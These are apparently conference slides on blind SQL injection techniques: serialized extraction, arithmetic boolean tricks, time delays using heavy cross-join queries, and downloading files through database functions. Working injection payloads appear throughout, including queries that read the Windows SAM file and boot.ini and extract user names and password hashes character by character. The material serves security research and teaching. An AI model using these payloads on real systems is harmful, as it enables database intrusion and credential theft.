(Re) Playing with (Blind) SQL Injection
José Palazón “Palako”Mobile Security at Yahoo!
Chema Alonso Informatica64
Microsoft MVP Enterprise Security
Spain (…not only bulls…)
SQL Injection attacks
http://www.phrack.org/issues.html?id=8&issue=54
A long time ago, in a galaxy far, far away…
Agenda• Serialized SQL Injection
– Demo: XML Extractor• Arithmetic SQL Injection
– Divide by Zero– Sums and subtractions– Type oveflow– Demo
• Remote File Downloading using Blind SQL Injection– SQL Sever – MySQL– Oracle– Demo: RFD Tool
• Time-Based Blind SQL Injection using heavy queries– Demo: Marathon Tool
Serialized SQL Injection
Serialized SQL Injection
• Goal: To Merge complex resultsets in a single showable field
• XML serialization functions allow to convert a resultset into a one XML string.
• It´s possible to download big amount of data with single and simple injections.
SQL Server• FOR XML: Retrieves data as a single string representing an XML tree.
• RAW: Mandatory option. Shows the information converting each row of the result set in an XML element in the form <row />.
• BINARY BASE64: The query will fail if we find any BINARY data type column (containing images, or passwords) if this option is not explicitly specified.
– union select '1','2','3',(select * from sysusers for xml raw, binary base64)
• XMLSCHEMA: obtains the whole table structure, including the data types, column names and other constraints.
– Described by Dani Kachakil
MySQL
• No default XML support, requires a server side extension
• GROUP_CONCAT (v 4.1+)
Oracle• xmlforest, xmlelement,…• No * support
Demo: Serialized SQL Injection
Arithmetic Blind SQL Injection
Blind Attacks• Attacker injects code but can´t access directly to
the data.• However this injection changes the behavior of
the web application. • Then the attacker looks for differences between
true code injections (1=1) and false code injections (1=2) in the response pages to extract data.– Blind SQL Injection– Biind Xpath Injection– Blind LDAP Injection
Blind SQL Injection Attacks
• Attacker injects:– “True where clauses”– “False where clauses“– Ex:
• Program.php?id=1 and 1=1• Program.php?id=1 and 1=2
• Program doesn’t return any visible data from database or data in error messages.
• The attacker can´t see any data extracted from the database.
Blind SQL Injection Attacks
• Attacker analyzes the response pages looking for differences between “True-Answer Page” and “False-Answer Page”:– Different hashes– Different html structure– Different patterns (keywords)– Different linear ASCII sums– “Different behavior”• By example: Response Time
Blind SQL Injection Attacks
• If any difference exists, then:– Attacker can extract all information from database– How? Using “booleanization”
• MySQL:– Program.php?id=1 and 100>(ASCII(Substring(user(),1,1)))
» “True-Answer Page” or “False-Answer Page”?• MSSQL:
– Program.php?id=1 and 100>(Select top 1 ASCII(Substring(name,1,1))) from sysusers)
• Oracle:– Program.php?id=1 and 100>(Select ASCII(Substr(username,1,1)))
from all_users where rownum<=1)
Arithmetic Blind SQL Injection
• The query force the parameter to be numeric – SELECT field FROM table WHERE id=abs(param)
• Boolean logic is created with math operations– Divide by zero– Sums and subtractions– Type overflows
Arithmetic Blind SQL Injection
• Divide by zero (David Litchfield)– Id=A+(1/(ASCII(B)-C))•A-> Param value originally used in the query.•B -> Value we are searching for, e.g.: Substring(passwd,1,1)•C-> Counter [0..255]
– When ASCII(B)=C, the DB will generate a divide by zero exception.
Arithmetic Blind SQL Injection• Sums and subtractions– Id=A+ASCII(B)-C•A-> Param value originally used in the query.•B -> Value we are searching for, e.g.: Substring(passwd,1,1)•C-> Counter [0..255]
– When ASCII(B)=C, then the response page of id=A+ASCII(B)-C will be the same as id=A
Arithmetic Blind SQL Injection
• Value type overflow– Id=A+((C/ASCII(B))*(K))•A-> Param value originally used in the query.•B -> Value we are searching for, e.g.: Substring(passwd,1,1)•C-> Counter [0..255]•K-> Value that overflows the type defined for A
–(e.g. if A is integer, then K=2^32)
– When C/ASCII(B)==1, K*1 overflows the data type
Demo:
• Divide by zero• Sums and subtractions• Integer overflow
Remote File Downloading using Blind SQL Injection techniques
Accessing Files
• Two ways:– Load the file in a temp table• and i>(select top 1 ASCII(Substring(column)(file,pos,1))
from temp_table ??
– Load the file in the query• With every query the file is loaded in memory• I am very sorry, engine • and i>ASCII(Substring(load_file(file,pos,1))??
SQL Server 2K - External Data Sources• Only for known filetypes:
– Access trough Drivers: Txt, csv, xls, mdb, log– And 200>ASCII (SUBSTRING(SELECT * FROM OPENROWSET('MSDASQL', 'Driver
= {Microsoft Text Driver (*.txt; *.csv)};DefaultDir=C:\;','select top 1 * from c:\dir\target.txt’),1,1))
• Privileges– HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSSQLServer\Providers\
DisallowAdhocAccess=0– By default this key doesn´t exist so only users with Server Admin Role can use
these functions.
• NTFS permissions
SQL Server 2K – Bulk option • Access to any file
– ; Create Table TempTable as (row varchar(8000)) -- – ; Bulk Insert TempTable From 'c:\file.ext' With (FIELDTERMINATOR = '\
n', ROWTERMINATOR = '\n‘) -- – ; alter table TempTable add num int IDENTITY(1,1) NOT NULL –– and (select COUNT(row) from TempTable)– and (select top 1 len(row) from TempTable where num = rownum) – and (select top 1 ASCII(SUBSTRING(row,1,1)) from TempTable where
num = 1) – ; Drop Table TempTable--
• Privileges needed – Server Role: Bulkadmin– Database Role: db_owner o db_ddladmin
• NTFS permissions
SQL Server 2k5 – 2k8
• OPENDATASOURCE and OPENROWSET supported• Bulk options improved– AND 256 > ASCII(SUBSTRING ((SELECT * FROM
OPENROWSET(BULK 'c:\windows\repair\sam', SINGLE_BLOB) As Data), 1, 1))—
• Permisions• Bulkadmin Server Role• External Data Sources enabled• Sp_configure• Surface configuration Tool for features
MySQL• LoadFile
– SELECT LOAD_FILE(0x633A5C626F6F742E696E69)• SQLbfTools: MySQLget command (illo and dab)• http://www.reversing.org/node/view/11
• Load Data infile– ; Create table C8DFC643 (datos varchar(4000))– ; Load data infile 'c:\\boot.ini' into table C8DFC643– ; alter table C8DFC643 add column num integer auto_increment
unique key– and (select count(num) from C8DFC643)– and (select length(datos) from C8DFC643 where num = 1)– and (select ASCII(substring(datos,5,1)) from C8DFC643 where num =
1)– ; Drop table C8DFC643
Oracle – Plain Text files
• External Tables– ; execute immediate 'Create Directory A4A9308C
As ''c:\'' '; end; --– ; execute immediate 'Create table A737D141
( datos varchar2(4000) ) organization external (TYPE ORACLE_LOADER default directory A4A9308C access parameters ( records delimited by newline ) location (''boot.ini''))'; end;--
– Only Plain Text files
Oracle – DBMS_LOB; execute immediate ‘DECLARE l_bfile BFILE;l_blob BLOB;BEGIN INSERT INTO A737D141 (datos) VALUES (EMPTY_BLOB()) RETURN
datos INTO l_blob;l_bfile := BFILENAME(''A4A9308C'', ''Picture.bmp'');DBMS_LOB.fileopen(l_bfile, Dbms_Lob.File_Readonly);DBMS_LOB.loadfromfile(l_blob,l_bfile,DBMS_LOB.getlength(l_bfile));DBMS_LOB.fileclose(l_bfile);COMMIT;EXCEPTION
WHEN OTHERS THEN ROLLBACK;END;‘; end; --
Demo RFD
Time-based Blind SQL Injection using heavy queries
Time-Based Blind SQL Injection• In scenarios with no differences between “True-
Answer Page” and “False-Answer Page”, time delays can be used.
• Injection forces a delay in the response page when the condition injected is True. - Delay functions:
• SQL Server: waitfor • Oracle: dbms_lock.sleep• MySQL: sleep or Benchmark Function• Postgres: pg_sleep
– Ex:• ; if (exists(select * from users)) waitfor delay '0:0:5’
Exploit for Solar Empire Web Game
Deep Blind SQL Injection• Time delay depends on the wanted value.• E.g. “a”->10s. delay, “b”->11s. Delay, …
• http://labs.portcullis.co.uk/application/deep-blind-sql-injection/
Time-Based Blind SQL Injection
• What about databases engines without delay functions, i.e., MS Access, Oracle connection without PL/SQL support, DB2, etc…?
• Can we still perform an exploitation of Time-Based Blind SQL Injection Attacks?
Yes, we can!
“Where-Clause” execution order
Select “whatever “From whateverWhere condition1 and condition2
- Condition1 lasts 10 seconds- Condition2 lasts 100 seconds
Which condition should be executed first?
The heavy condition first
Condition2 (100 sec) Condition1 (10 sec) Condition2 & condition1 Response Time
TRUE FALSE FALSE 110 sec
TRUE TRUE TRUE 110 sec
FALSE Not evaluated FALSE 100 sec
The light condition first
Condition1 (10 sec) Condition2 (100 sec) Condition1 & condition2 Response Time
TRUE FALSE FALSE 110 sec
TRUE TRUE TRUE 110 sec
FALSE Not evaluated FALSE 10 sec
Time-Based Blind SQL Injectionusing Heavy Queries
• Attacker can perform an exploitation delaying the “True-answer page” using a heavy query.
• It depends on how the database engine evaluates the where clauses in the query.
• There are two types of database engines:– Databases without optimization process– Databases with optimization process
Time-Based Blind SQL Injectionusing Heavy Queries
• Attacker could inject a heavy Cross-Join condition for delaying the response page in True-Injections.
• The Cross-join injection must be heavier than the other condition.
• Attacker only have to know or to guess the name of a table with select permission in the database.
• Example in MSSQL:– Program.php?id=1 and (SELECT count(*) FROM sysusers
AS sys1, sysusers as sys2, sysusers as sys3, sysusers AS sys4, sysusers AS sys5, sysusers AS sys6, sysusers AS sys7, sysusers AS sys8)>1 and 300>(select top 1 ascii(substring(name,1,1)) from sysusers)
“Default” tables to construct a heavy query
– Microsoft SQL Server• sysusers
– Oracle• all_users
– MySQL (versión 5)• information_schema.columns
– Microsoft Access• MSysAccessObjects (97 & 2000 versions)• MSysAccessStorage (2003 & 2007)
41
“Default” tables to construct a heavy query
• …or whatever you can guess– Clients– Customers– News– Logins– Users– Providers– ….Use your imagination…
Ex 1: MS SQL Server
Query lasts 14 seconds -> True-Answer
Ex 1: MS SQL Server
• Query lasts 1 second -> False-Answer
Ex 2: Oracle
Query Lasts 22 seconds –> True-Answer
Ex 2: Oracle
Query Lasts 1 second –> False-Answer
Ex 3: Access 2000
Query Lasts 6 seconds –> True-Answer
Ex 3: Access 2000
Query Lasts 1 second –> False-Answer
Ex 4: Access 2007
Query Lasts 39 seconds –> True-Answer
Ex 4: Access 2007
Query Lasts 1 second –> False-Answer
Marathon Tool
• Automates Time-Based Blind SQL Injection Attacks using Heavy Queries in SQL Server, MySQL, MS Access and Oracle Databases.
• Schema Extraction from known databases• Extract data using heavy queries not matter in
which database engine (without schema)• Developed in .NET• Source code available
Demo: Marathon Tool
Prevention:
Don´t forget Bobby Tables!
SANITIZE YOUR QUERIES!
¿Preguntas?
• Speakers:– Chema Alonso ([email protected])– Palako ([email protected])
• Autores– Chema Alonso ([email protected])– Alejandro Martín ([email protected])– Antonio Guzmán ([email protected])– Daniel Kachakil ([email protected]) – José Palazón “Palako” ([email protected]) – Marta Beltran ([email protected])